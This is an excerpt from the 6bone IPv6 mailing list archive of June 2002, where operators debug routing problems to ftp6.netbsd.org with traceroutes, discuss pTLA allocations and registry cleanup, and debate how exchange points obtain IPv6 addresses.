12:45:20.399138 ftp6.netbsd.org.ftp > beowulf.gw.com.49385: . ack 1 win 33120 <nop,nop,timestamp 8772874 120> [flowlabel 0xf496c]
^C
250449 packets received by filter
0 packets dropped by kernel



| From:    Stephen Stuart <stuart@tech.org>
| Date:    Fri, 14 Jun 2002 12:17:13 -0700
|
| Remaining problems *seem* to have the ISI tunnel in common. Interface
| MTU size on the tunnel interface toward the ISI router has now been
| matched, just as with the interior tunnel interface.

From gnea@garson.org Fri Jun 14 12:57:02 2002
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From: Scott Prader <gnea@garson.org>
To: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
Message-ID: <20020614195104.GA2498@gnea.net>
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Indeed, the following from a Debian (unstable release) setup through
freenet6:

[gnea@garson] [~] telnet -6 ftp6.netbsd.org 21
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp6.netbsd.org.
Escape character is '^]'.
220 ftp6.netbsd.org FTP server (NetBSD-ftpd 20020201) ready.
user anonymous
331 Guest login ok, type your name as password.
pass gnea@garson.org
230-

     Welcome to FTP.NetBSD.ORG
     Located in Palo Alto, CA, USA                         ,        ,
                                                          /(        )`
-----------yada!

[gnea@garson] [~] traceroute6 ftp6.netbsd.org
traceroute to ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
from 3ffe:b80:2:9109::2, 30 hops max, 16 byte packets
1  3ffe:b80:2:9109::1 (3ffe:b80:2:9109::1)  236.375 ms  177.293 ms
   149.612 ms
2  3ffe:8000:ffff:b::2 (3ffe:8000:ffff:b::2)  95.14 ms  206.992 ms
   98.79 ms
3  3ffe:b00:c18::6b (3ffe:b00:c18::6b)  218.926 ms  252.254 ms
   191.161 ms
4  paix-tunnel.fmt.ipv6.he.net (3ffe:81d0:ffff:1::1)  172.006 ms
   231.26 ms  191.508 ms
5  paix-v6.isc.org (3ffe:80a::1)  212.827 ms  254.686 ms  219.655
   ms
6  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  286.989 ms
   199.393 ms  285.002 ms
7  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
   246.178 ms  274.975 ms  316.906 ms
-----------yada!

lftp seems to work to connect, but as soon as i attempt an ls, it
segfaults:

[gnea@garson] [~] grep dns .lftprc
set dns:order inet6 inet
[gnea@garson] [~] lftp
lftp :~> o ftp6.netbsd.org
lftp ftp6.netbsd.org:~> cd .
cd ok, cwd=/
lftp ftp6.netbsd.org:/> ls
Segmentation fault
[gnea@garson] [~]

I'll need to sit down and debug this later or see if there is a new
version around the corner which fixes that, it's not a very big concern
at this point in time.  OTOH, it could be a malformed option set in
.lftprc

* Thomas Schaefer (mail@thomas--schaefer.de) cobbled forth:
> And now it seems to work very well:
> -----------------------------------------------
> thomas@witz:~> nslookup -query=any ftp.netbsd.org
> Note:  nslookup is deprecated and may be removed from future releases.
> Consider using the `dig' or `host' programs instead.  Run nslookup with
> the `-sil[ent]' option to prevent this message from appearing.
> Server:         212.185.252.201
> Address:        212.185.252.201#53
> 
> Name:   ftp.netbsd.org
> Address: 204.152.184.75
> ftp.netbsd.org  has AAAA address 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea
<snip>

         .oO Gnea [gnea at garson dot org] Oo.
            .oO url [http://gnea.net] Oo.

"You can tune a filesystem, but you can't tune a fish." -Kirk McKusick

From rogerj@student.uit.no Fri Jun 14 14:24:14 2002
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Date: Fri, 14 Jun 2002 23:26:38 +0200 (CEST)
From: Roger Jorgensen <rogerj@student.uit.no>
To: Stephen Stuart <stuart@tech.org>
cc: Pim van Pelt <pim@ipng.nl>, <6bone@mailman.isi.edu>
Subject: Re: [6bone] problem with ftp.netbsd.org 
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On Fri, 14 Jun 2002, Stephen Stuart wrote:
> > On Thu, Jun 13, 2002 at 08:51:12PM -0700, Stephen Stuart wrote:
> > | If anyone is still having problems with TCP sessions to/from
> > | ftp.netbsd.org, please send me traceroutes.
> >
> > The MTU and tunnel setttings are unrelated. A TCP handshake uses
> > Syn/SynAck/Ack packets without payload so these should be around 50
> > bytes.
>
> I understand that.
>
> ISC receives routes from two sources: peers on the PAIX Palo Alto
> switch fabric, and a tunnel to ISI. I would like to determine if the
> people having problems share some property relating to that, like
> "people who still report problems all show the ISI tunnel in their
> traceroute."

I've tried it from several machines, and sites and they all use the
same route:

 2  2001:730::1:2f (2001:730::1:2f)  157.299 ms  156.369 ms  155.876 ms
 3  paix-tunnel.fmt.ipv6.he.net (3ffe:81d0:ffff:1::1)  161.154 ms  158.577 ms  159.025 ms
 4  3ffe:80a::1 (3ffe:80a::1)  351.493 ms  231.817 ms  224.404 ms
 5  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  173.924 ms  169.901 ms  169.360 ms
 6  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  169.013 ms *  169.903 ms

zero problems for any of them, except two solaris boxes that couldn't
connect at all to ftp.netbsd.org. However, those two solaris boxes
worked fine when I ftp'ed to ftp.pasta.cs.uit.no (3ffe:2a00:100:3001::2)

...


------------------------------
Roger Jorgensen              | IRC: James_B
rogerj@stud.cs.uit.no        | - IPv6 is The Key!
http://www.jorgensen.no      | roger@jorgensen.no
-------------------------------------------------------


From stuart@tech.org Fri Jun 14 15:27:45 2002
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To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org 
In-reply-to: Your message of "Fri, 14 Jun 2002 15:49:16 EDT."
             <20020614194916.388177E10@beowulf.gw.com> 
Date: Fri, 14 Jun 2002 15:27:37 -0700
From: Stephen Stuart <stuart@tech.org>
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> The problem still exists for me.
> 
> Below are the traceroutes for each direction and tcpdumps of an attempt.

I have a traceroute running on the router to watch for beowulf.gw.com;
please try an FTP session again.

> The tcpdump was a bit odd -- I kept seeing packets from beowulf to the
> ftp server even after I killed the ftp process (and I didn't see any
> other ftp processes on the machine).

Probably just trying to tidy up the closed TCP session.

Stephen

From stuart@tech.org Fri Jun 14 15:29:18 2002
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To: Kimmo Suominen <kim@tac.nyc.ny.us>
cc: 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org 
In-reply-to: Your message of "Fri, 14 Jun 2002 15:27:37 PDT."
Date: Fri, 14 Jun 2002 15:29:12 -0700
From: Stephen Stuart <stuart@tech.org>
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> > The problem still exists for me.
> > 
> > Below are the traceroutes for each direction and tcpdumps of an attempt.
> 
> I have a traceroute running on the router to watch for beowulf.gw.com;
> please try an FTP session again.

Sigh. s/traceroute/tcpdump/.

Stephen

From fink@es.net Fri Jun 14 16:46:31 2002
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Date: Fri, 14 Jun 2002 16:46:18 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Amaury DAILLIEZ <a_dailliez@yahoo.fr>
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Subject: [6bone] recent illegal inet6num registry
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I just wanted to conclude this particular illegal inet6num registry with a 
report that after discussing it with Mr. Amaury Dailliez, who is the 
Technical Manager of AzurVP Network France, I am convinced this was just an 
honest mistake of someone trying to figure out how to setup a legitimate 
inet6num entry. He is quite embarrassed about it and says he has never used 
the prefix in any way.

Anyway, the bogus entry is removed and I believe we should treat Mr. 
Dailliez as a citizen of the 6bone in good standing. I certainly believe he is.


Thanks,

Bob Fink


From fink@es.net Sat Jun 15 00:02:25 2002
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Date: Sat, 15 Jun 2002 00:02:18 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: "Ferdinando Porcu" <fporcu@eurnetcity.net>
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Subject: [6bone] pTLA request EURNETCITY - review closes 28 June 2002
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6bone Folk,

EURNETCITY has requested a pTLA allocation and I find their request fully 
compliant with RFC2772. The open review period for this will close 28 June 
2002. Please send your comments to me or the list.

<http://whois.6bone.net/cgi-bin/whois?EURNETCITY>

<www.ipv6.eurnetcity.net>

<www.eurnetcity.net>


Thanks,

Bob

===
>From: "Ferdinando Porcu" <fporcu@eurnetcity.net>
>To: <fink@es.net>
>Subject: pTLA request for EURNetCity (AS20794)
>Date: Wed, 12 Jun 2002 18:21:08 +0200
>
>Hi Bob and 6bone members,
>
>On behalf of EURNetCity, I would like to submit our application for a pTLA.
>
>1. The pTLA Applicant must have a minimum of three (3) months
>  qualifying experience as a 6Bone end-site or pNLA transit.
>
>We are connected to the 6bone since Feb 2002 with a /48 from VIAGENIE.
>
>During the entire qualifying period the Applicant must be operationally
>providing the following:
>
>a. Fully maintained, up to date, 6Bone Registry entries for their
>ipv6-site inet6num, mntner, and person objects, including each
>tunnel that the Applicant has.
>
>Our records on the 6bone database are up to date.
>http://whois.6bone.net/cgi-bin/whois?eurnet-mnt
>http://whois.6bone.net/cgi-bin/whois?eurnetcity
>
>b. Fully maintained, and reliable, BGP4+ peering and connectivity
>between the Applicant's boundary router and the appropriate
>connection point into the 6Bone. This router must be IPv6
>pingable. This criteria is judged by members of the 6Bone
>Operations Group at the time of the Applicant's pTLA request.
>
>We have currently 3 BGP4+ peering sessions (CSELT and
>RMNet) on a Juniper M10 Router
>
>c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>entries for the Applicant's router(s) and at least one host
>system.
>
>DNS server : dns.ipv6.eurnetcity.net - 3ffe:b80:731:1:2d0:b7ff:feaa:9bbb
>
>d. A fully maintained, and reliable, IPv6-accessible system
>providing, at a mimimum, one or more web pages, describing the
>Applicant's IPv6 services. This server must be IPv6 pingable.
>
>IPv6 Web server is at: http://www.ipv6.eurnetcity.net and is pingable
>
>2. The pTLA Applicant MUST have the ability and intent to provide
>  "production-quality" 6Bone backbone service. Applicants must
>  provide a statement and information in support of this claim.
>  This MUST include the following:
>
>  a. A support staff of two persons minimum, three preferable, with
>  person attributes registered for each in the ipv6-site object
>  for the pTLA applicant.
>
>We have a mail entry to the group of technical people at:
>network@eurnetcity.net
>Tech persons on charge of IPv6 support are:
>http://whois.6bone.net/cgi-bin/whois?FP4-6BONE
>http://whois.6bone.net/cgi-bin/whois?FA3-6BONE
>
>  b. A common mailbox for support contact purposes that all support
>  staff have acess to, pointed to with a notify attribute in the
>  ipv6-site object for the pTLA Applicant.
>
>The staff has access to the common mailbox: network@eurnetcity.net
>3. The pTLA Applicant MUST have a potential "user community" that
>  would be served by its becoming a pTLA, e.g., the Applicant is a
>  major provider of Internet service in a region, country, or focus
>  of interest. Applicant must provide a statement and information in
>  support this claim.
>
>Eurnetcity will serve business and residential users in Rome Area for
>broadband  services such as
>VoD, VoIP and internet traffic using his optical metro network to deliver
>it.
>We are actually offering our commercial services through PSTN and ISDN
>dialup, dedicated lines, ADSL lines and colocation.
>Our users base is about 1000 home-users and 100 enterprises
>
>4. The pTLA Applicant MUST commit to abide by the current 6Bone
>  operational rules and policies as they exist at time of its
>  application, and agree to abide by future 6Bone backbone
>  operational rules and policies as they evolve by consensus of the
>  6Bone backbone and user community.
>
>We fully agree to all current and future operational rules and policies.
>
>When an Applicant seeks to receive a pTLA allocation, it will apply
>to the 6Bone Operations Group (see section 8 below) by providing to
>the Group information in support of its claims that it meets the
>criteria above.
>
>
>Best regards,
>--
>
>----------------------------------------------------------------
>Ferdinando Porcu
>
>Eurnetcity S.p.A.
>Eurnetcity e' una iniziativa di Eur S.p.A. e Gruppo Acea
>Resp. Servizi IP
>Via Ciro il Grande, 16
>00144 ROMA
>
>Tel. +39.(0)6.5425.2268
>Fax +39.(0)6.5425.2055
>http://www.eurnetcity.it
>http://www.eurnetcity.net
>fporcu@eurnetcity.net
>----------------------------------------------------------------------------
>------------------------------
>This communication contains information which is confidential and
>may also privileged. It is for the exclusive use of the indented
>recipient(s). If you are not the intended recipient(s), please note
>that any distribution, copying or use of this communication or the
>information in it is stricly prohibited. If you have received this
>communication in error, please notify the sender immediately
>and then destroy any copies of it.
>----------------------------------------------------------------------------
>-----------------



From pim@ipng.nl Sat Jun 15 01:35:50 2002
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Date: Sat, 15 Jun 2002 10:35:46 +0200
From: Pim van Pelt <pim@ipng.nl>
To: 6bone@ISI.EDU
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Subject: [6bone] whois and mnt-lower
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Hi

What are the current thoughts of the WHOIS database maintainers (and its
software engineers) on the insertion of a maintained object for the
3ffe::/16 (or even 0::/0) range, and delegate mnt-lower to each company
that received a pTLA allocation.

This will take care of the problem Jeroen mentioned, and the apparent
honest mistake Amaury's engineering team made.

I for one would very much like to see this database cleaned up a bit
more.

groet,
Pim
-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From fink@es.net Sat Jun 15 08:02:04 2002
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Date: Sat, 15 Jun 2002 08:01:58 -0700
To: Pim van Pelt <pim@ipng.nl>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: [6bone] whois and mnt-lower
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Pim,

At 10:35 AM 6/15/2002 +0200, Pim van Pelt wrote:
>Hi
>
>What are the current thoughts of the WHOIS database maintainers (and its
>software engineers) on the insertion of a maintained object for the
>3ffe::/16 (or even 0::/0) range, and delegate mnt-lower to each company
>that received a pTLA allocation.
>
>This will take care of the problem Jeroen mentioned, and the apparent
>honest mistake Amaury's engineering team made.
>
>I for one would very much like to see this database cleaned up a bit
>more.

There has been a 3FFE::/16 inet6num for the 6bone for some time (see 
below). We have not wanted to get into extended discussions, about what you 
suggest above, on the list to avoid attracting overmuch interest, however, 
David and I are discussing various approaches (including yours) and will 
eventually let the list know what's reasonable for us to do.


Thanks,

Bob

===
% RIPEdb(3.0.0b2) with ISI RPSL extensions

inet6num:     3FFE::/16
netname:      6BONE
descr:        Test Address Space for the 6bone
country:      AR AT AU BE BG BR CA
               CM CN CZ DE DK EE ES
               FI FR GB GR
               HK HU IE
               IN IT JP KR KZ LT MX
               MY NL NO NZ PL PT RO
               RU SE SG SI SK TW UA
               US UY ZA
admin-c:      RLF1-6BONE
tech-c:       BM2-6BONE
tech-c:       DK13-RIPE
rev-srv:      ns.isi.edu
rev-srv:      imag.imag.fr
remarks:      contact RLF1-6BONE for allocation of a pTLA
               contact BM2-6BONE for reverse delegations
               contact DK13-RIPE for issues regarding the 6bone registry
               changed netname to 6bone
remarks:      This object is automatically converted from the RIPE181 registry
mnt-by:       RLF1-6BONE
changed:      davidk@ISI.EDU 19970908
changed:      rlfink@lbl.gov 19970909
changed:      fink@es.net 20000521
changed:      fink@es.net 20000712
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

ipv6-site:    6BONE
origin:       AS293
descr:        IETF NGTRANS Working Group IPv6 Testbed
prefix:       3FFE::/16
contact:      RLF1-6BONE
remarks:      This object is automatically converted from the RIPE181 registry
url:          http://www.6bone.net
notify:       fink@es.net
mnt-by:       RLF1-6BONE
changed:      fink@es.net 20001128
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

person:       Robert L. Fink
address:      ESnet - Lawrence Berkeley National Laboratory
phone:        +1 510 486 5692
e-mail:       fink@es.net
nic-hdl:      RLF1-6BONE
remarks:      change to my esnet email address
remarks:      This object is automatically converted from the RIPE181 registry
notify:       fink@es.net
mnt-by:       RLF1-6BONE
changed:      fink@es.net 19991206
changed:      fink@es.net 20000521
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE

person:       Bill Manning
address:      po 12317, mdr, ca. usa
phone:        +1.310.322.8102
e-mail:       bmanning@isi.edu
nic-hdl:      BM2-6BONE
remarks:      This object is automatically converted from the RIPE181 registry
notify:       bmanning@isi.edu
changed:      bmanning@isi.edu 19970401
changed:      auto-dbm@whois.6bone.net 20010117
source:       6BONE
-end


From rvdp@kirk.rvdp.org Mon Jun 17 01:56:48 2002
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Date: Mon, 17 Jun 2002 10:56:33 +0200
From: Ronald van der Pol <Ronald.vanderPol@rvdp.org>
To: Stephen Stuart <stuart@tech.org>
Cc: Pim van Pelt <pim@ipng.nl>, 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
Message-ID: <20020617085633.GB1463@rvdp.org>
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On Fri, Jun 14, 2002 at 12:17:13 -0700, Stephen Stuart wrote:

> If someone still having issues would like to coordinate a
> debugging session to look at that, please contact me privately.

It is working for me now, but the path has changed. It used to be:

spock$ traceroute6 -q 1 -l  ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) from 
2001:610:508:1001:260:1dff:fef6:7ff9, 30 hops max, 12 byte packets
 1  kirk (2001:610:508:1001:220:afff:fec6:4faa)  3.201 ms  
 2  surrogate.ipv6.surfnet.nl (2001:610:508:1000::1)  7.9 ms
 3  surfnet-bv.Amsterdam.ipv6.surf.net (2001:610:0:2001::1)  13.627 ms
 4  PO4-0.CR2.Amsterdam1.surf.net (2001:610:16:3048::49)  16.897 ms
 5  PO0-0.BR2.Amsterdam1.surf.net (2001:610:16:6004::6)  15.136 ms
 6  ams-ix.sara.xs4all.net (2001:7f8:1::a500:3265:1)  13.938 ms
 7  nikhef.ams-ix.ipv6.intouch.net (2001:7f8:1::a500:8954:1)  12.436 ms
 8  3ffe:1280:1001:1::1 (3ffe:1280:1001:1::1)  382.62 ms
 9  3ffe:80a::1 (3ffe:80a::1)  203.762 ms 
10  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  204.275 ms
11  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  306.499 ms

Which did not work.

Now it works with the path:
bones.rvdp.org$ traceroute6 -q1 -l ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea) from 2001:610:508:1001:202:2dff:fe0f:7d1, 64 hops max, 12 byte packets
 1  2001:610:508:1001::1 (2001:610:508:1001::1)  5.074 ms
 2  surrogate.ipv6.surfnet.nl (2001:610:508:1000::1)  41.915 ms
 3  surfnet-bv.Amsterdam.ipv6.surf.net (2001:610:0:2001::1)  20.911 ms
 4  PO4-0.CR2.Amsterdam2.surf.net (2001:610:16:5048::49)  35.221 ms
 5  Gi0-0.AR1.Amsterdam2.surf.net (2001:610:16:5060::62)  38.964 ms
 6  3ffe:2200:0:8000::1 (3ffe:2200:0:8000::1)  150.217 ms
 7  aads-tunnel.fmt.ipv6.he.net (3ffe:81d0:ffff:1::3)  222.045 ms
 8  paix-tunnel.fmt.ipv6.he.net (3ffe:81d0:ffff:1::1)  230.037 ms
 9  3ffe:80a::1 (3ffe:80a::1)  212.591 ms
10  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  233.241 ms
11  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  255.217 ms
bones.rvdp.org$

Notice the last three hops of the path are the same:
 9  3ffe:80a::1 (3ffe:80a::1)  203.762 ms
10  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  204.275 ms
11  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  306.499 ms

	rvdp

From kim@tac.nyc.ny.us Mon Jun 17 05:36:48 2002
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   6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org
In-Reply-To: <20020617085633.GB1463@rvdp.org>
 from Ronald van der Pol on Mon, 17 Jun 2002 10:56:33 +0200
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Same thing here -- connecting works fine, but the path has switched
to go through he.net.

+ Kim


| From:    Ronald van der Pol <Ronald.vanderPol@rvdp.org>
| Date:    Mon, 17 Jun 2002 10:56:33 +0200
|
| On Fri, Jun 14, 2002 at 12:17:13 -0700, Stephen Stuart wrote:
|
| > If someone still having issues would like to coordinate a
| > debugging session to look at that, please contact me privately.
|
| It is working for me now, but the path has changed. It used to be:
[...snip...]

From jon@jons.org Mon Jun 17 06:22:25 2002
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From: "Jon Christopherson" <jon@jons.org>
To: "'Kimmo Suominen'" <kim@tac.nyc.ny.us>,
   "'Ronald van der Pol'" <Ronald.vanderPol@rvdp.org>
Cc: "'Stephen Stuart'" <stuart@tech.org>, "'Pim van Pelt'" <pim@ipng.nl>,
   <6bone@mailman.isi.edu>
Subject: RE: [6bone] problem with ftp.netbsd.org
Date: Mon, 17 Jun 2002 06:22:04 -0700
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All Looks good from my end as well:

~ >traceroute6 -q1 -l ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
from 3ffe:c00:803d:2::2, 30 hops max, 12 byte packets
 1  enigma (3ffe:c00:803d:2::1)  0.408 ms
 2  3ffe:c00:8023:46::1 (3ffe:c00:8023:46::1)  28.688 ms
 3  paix-tunnel.fmt.ipv6.he.net (3ffe:81d0:ffff:1::1)  39.49 ms
 4  3ffe:80a::1 (3ffe:80a::1)  43.152 ms
 5  3ffe:8050:ffff::fffd (3ffe:8050:ffff::fffd)  42.99 ms
 6  ftp6.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)  42.044 ms

Thanks!

-jon


-----Original Message-----
From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On Behalf Of Kimmo Suominen
Sent: Monday, June 17, 2002 5:37 AM
To: Ronald van der Pol
Cc: Stephen Stuart; Pim van Pelt; 6bone@mailman.isi.edu
Subject: Re: [6bone] problem with ftp.netbsd.org

Same thing here -- connecting works fine, but the path has switched
to go through he.net.

+ Kim


| From:    Ronald van der Pol <Ronald.vanderPol@rvdp.org>
| Date:    Mon, 17 Jun 2002 10:56:33 +0200
|
| On Fri, Jun 14, 2002 at 12:17:13 -0700, Stephen Stuart wrote:
|
| > If someone still having issues would like to coordinate a
| > debugging session to look at that, please contact me privately.
|
| It is working for me now, but the path has changed. It used to be:
[...snip...]
_______________________________________________
6bone mailing list
6bone@mailman.isi.edu
http://mailman.isi.edu/mailman/listinfo/6bone



From jeroen@unfix.org Mon Jun 17 07:25:52 2002
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   "'Stephen Stuart'" <stuart@tech.org>
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Subject: RE: [6bone] problem with ftp.netbsd.org
Date: Mon, 17 Jun 2002 16:25:20 +0200
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Ronald van der Pol wrote:
> On Fri, Jun 14, 2002 at 12:17:13 -0700, Stephen Stuart wrote:
> 
> > If someone still having issues would like to coordinate a
> > debugging session to look at that, please contact me privately.
> 

Now going over he.net for me also.
8<------------------
jeroen@purgatory:~$ traceroute6 ftp.netbsd.org
traceroute6 to ftp.netbsd.org (3ffe:8050:201:1860:2a0:c9ff:feed:b7ea)
from 3ffe:8114:1000::27, 30 hops max, 12 byte packets
 1  tunnel-026.ipng.nl  19.711 ms  18.527 ms  18.866 ms
 2  Amsterdam.core.ipv6.intouch.net  19.779 ms  19.829 ms  19.759 ms
 3  3ffe:c00:8023:1f::1  158.658 ms  159.031 ms  158.896 ms
 4  paix-tunnel.fmt.ipv6.he.net  187.316 ms  184.295 ms  179.761 ms
 5  paix-v6.isc.org  175.072 ms  179.622 ms  183.888 ms
 6  3ffe:8050:ffff::fffd  182.342 ms  198.789 ms  207.795 ms
 7  ftp6.netbsd.org  213.099 ms  224.759 ms  212.57 ms
------------------>8
And it now nicely works:

8<------------------
jeroen@purgatory:~$ telnet ftp.netbsd.org 21
Trying 3ffe:8050:201:1860:2a0:c9ff:feed:b7ea...
Connected to ftp.netbsd.org.
Escape character is '^]'.
220 ftp6.netbsd.org FTP server (NetBSD-ftpd 20020201) ready.
^]
telnet> q
------------------>8

:)

Greets,
 Jeroen


From fink@es.net Mon Jun 17 07:25:56 2002
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Date: Mon, 17 Jun 2002 07:25:38 -0700
To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
Cc: Sanan Kurkulsatsanakit <snakk@inet.co.th>
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Subject: [6bone] 6bone pTLA 3FFE:400B::/32 allocated to INET-TH
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INET-TH has been allocated pTLA 3FFE:400B::/32 having finished its 2-week 
review period.

<http://whois.6bone.net/cgi-bin/whois?INET-TH>


Note that it will take a short while for their pTLA inet6num entry to 
appear in the 6bone registry as they have to create it themselves. However, 
their registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>	


[To create a reverse DNS registration for pTLAs, please send the prefix 
allocated above, and a list of at least two authoritative nameservers, to 
hostmaster@ep.net.]


Thanks,

Bob


From todd@shadow.fries.net Mon Jun 17 08:11:39 2002
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Date: Mon, 17 Jun 2002 10:10:25 -0500
From: "Todd T. Fries" <todd@fries.net>
To: Paul Aitken <paitken@cisco.com>
Cc: tapas.das@teleweb.net.in, 6bone@ISI.EDU
Message-ID: <20020617151025.GA27722@fries.net>
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Subject: [6bone] Re: Got one IPV6 address from Freenet6 but not working.
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Fwiw, itojun has recently found a problem with kdelibs that disabled
getaddrinfo for most systems due to an absent memset in the configure
script.  Currently, this is fixed in the OpenBSD ports tree and the current
cvs repository, but unfortunately not before 3.0.1 went out.

-- 
Todd Fries .. todd@fries.net

(last updated $ToddFries: signature.p,v 1.2 2002/03/19 15:10:18 todd Exp $)

Penned by Paul Aitken on Sat, May 04, 2002 at 03:39:47PM +0100, we have:
| Tapas,
| 
| >I have got a IPV6 address from Freenet6. I can also ping to few of the
| >IPV6 address, but when I goto www.kame.net i don't see the dancing
| >turtle also at the end of the page it says "you are using IPv4",can
| >somebody explain me why is this happening.
| 
| Most likely your DNS is resolving www.kame.net into an IPv4 address. Use 
| a browser that supports IPv6 and a DNS server that supports AAAA records.
| 
| Cheers.
| -- 
| Paul Aitken
| IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX
| 

From stuart@tech.org Mon Jun 17 09:37:35 2002
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From: Stephen Stuart <stuart@tech.org>
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Late on Friday I depref'd from and prepended toward ISI (from
ISC). That shifted the traffic to/from ISC's PAIX peers (like the nice
folks at Hurricane Electric).

Stephen

From ww@GROOVY.NET Mon Jun 17 09:46:06 2002
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Subject: [6bone] Exchange Point Addresses
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Hi,

At the Toronto Internet Exchange (TORIX) we've been talking about
making it possible to peer natively over IPv6. The problem is
getting addresses for the exchange -- RIPE seems to have a clear
policy (they'll hand out a /64), but ARIN doesn't appear to. It
would not be appropriate to use addresses from one of the providers
at the exchange since TORIX has been, since its inception, 
provider neutral and we'd like to keep it that way.

Any suggestions or pointers to how to go about acquiring some
numbers for the exchange would be appreciated.

Thanks,
-w
--
Will Waites
ww@groovy.net

From pim@ipng.nl Mon Jun 17 11:18:47 2002
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From: Pim van Pelt <pim@ipng.nl>
To: ww@GROOVY.NET
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] Exchange Point Addresses
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On Mon, Jun 17, 2002 at 12:45:59PM -0400, ww@GROOVY.NET wrote:
| Hi,
| 
| At the Toronto Internet Exchange (TORIX) we've been talking about
| making it possible to peer natively over IPv6. The problem is
| getting addresses for the exchange -- RIPE seems to have a clear
| policy (they'll hand out a /64), but ARIN doesn't appear to. It
| would not be appropriate to use addresses from one of the providers
| at the exchange since TORIX has been, since its inception, 
| provider neutral and we'd like to keep it that way.
They give out a (non-aggregatable) /48, which is IMO almost 100%
pointless (not a /64 like you mentioned).
 
| Any suggestions or pointers to how to go about acquiring some
| numbers for the exchange would be appreciated.

As with your collegues at AMS-IX (NL), you will simply be left out in 
the cold. When you approach a registry with a remark like you just
made, you will be told that you are no more special than any other
company that wishes to have their own globally routable space (call it
PI, call it TLA).

At current, at least in the region I am active in (RIPE), IXPs cannot
obtain address space without becoming dependant on a member. By the
way, neither can the RIR itself.

groet,
Pim

-- 
---------- - -    - - -+- - -    - - ----------
Pim van Pelt                 Email: pim@ipng.nl
http://www.ipng.nl/             IPv6 Deployment
-----------------------------------------------

From stuart@tech.org Mon Jun 17 12:02:35 2002
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Subject: Re: [6bone] Exchange Point Addresses 
In-reply-to: Your message of "Mon, 17 Jun 2002 12:45:59 EDT."
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Date: Mon, 17 Jun 2002 12:02:24 -0700
From: Stephen Stuart <stuart@tech.org>
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> At the Toronto Internet Exchange (TORIX) we've been talking about
> making it possible to peer natively over IPv6. The problem is
> getting addresses for the exchange -- RIPE seems to have a clear
> policy (they'll hand out a /64), but ARIN doesn't appear to. It
> would not be appropriate to use addresses from one of the providers
> at the exchange since TORIX has been, since its inception, 
> provider neutral and we'd like to keep it that way.

Did you speak to anyone at ARIN about micro-allocations for exchange
point use?

Stephen

From Robert.Kiessling@de.easynet.net Mon Jun 17 12:09:54 2002
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Pim van Pelt <pim@ipng.nl> writes:

> On Mon, Jun 17, 2002 at 12:45:59PM -0400, ww@GROOVY.NET wrote:
> | At the Toronto Internet Exchange (TORIX) we've been talking about
> | making it possible to peer natively over IPv6. The problem is
> | getting addresses for the exchange -- RIPE seems to have a clear
> | policy (they'll hand out a /64), but ARIN doesn't appear to. It
> | would not be appropriate to use addresses from one of the providers
> | at the exchange since TORIX has been, since its inception, 
> | provider neutral and we'd like to keep it that way.
> They give out a (non-aggregatable) /48, which is IMO almost 100%
> pointless (not a /64 like you mentioned).

It fulfils exactly what it's made for: to provide neutral,
provider-independent IPv6 addresses for the exchange mesh. There was
and is a need for this, so it's far from "100% useless".

> | Any suggestions or pointers to how to go about acquiring some
> | numbers for the exchange would be appreciated.
> 
> As with your collegues at AMS-IX (NL), you will simply be left out in 
> the cold.

No, you're not. You can receive address space for the exchange
mesh. There is no need for these addresses to be routable.

Addresses for other services like web page, NTP etc. is a different
story altogether.

> When you approach a registry with a remark like you just
> made, you will be told that you are no more special than any other
> company that wishes to have their own globally routable space (call it
> PI, call it TLA).

Indeed.

You are implying that the secondary services offered by exchange
points are so important that they justify a different allocation
policy. This in turn implies that you want to introduce PI to IPv6,
which so far does not exist (TLA, sTLA are *not* PI, they clearly are
PA).

There is a clear consencus that this is not desirable.

> At current, at least in the region I am active in (RIPE), IXPs cannot
> obtain address space without becoming dependant on a member. By the
> way, neither can the RIR itself.

They can obtain address space like everone else. They just cannot get
"PI" space, that is globally routable addresses not bound to an
upstream. Of course they are free to fulil the requirements for an
allocation, which is essentially to become a LIR and expect 200
customer assignments.

Robert


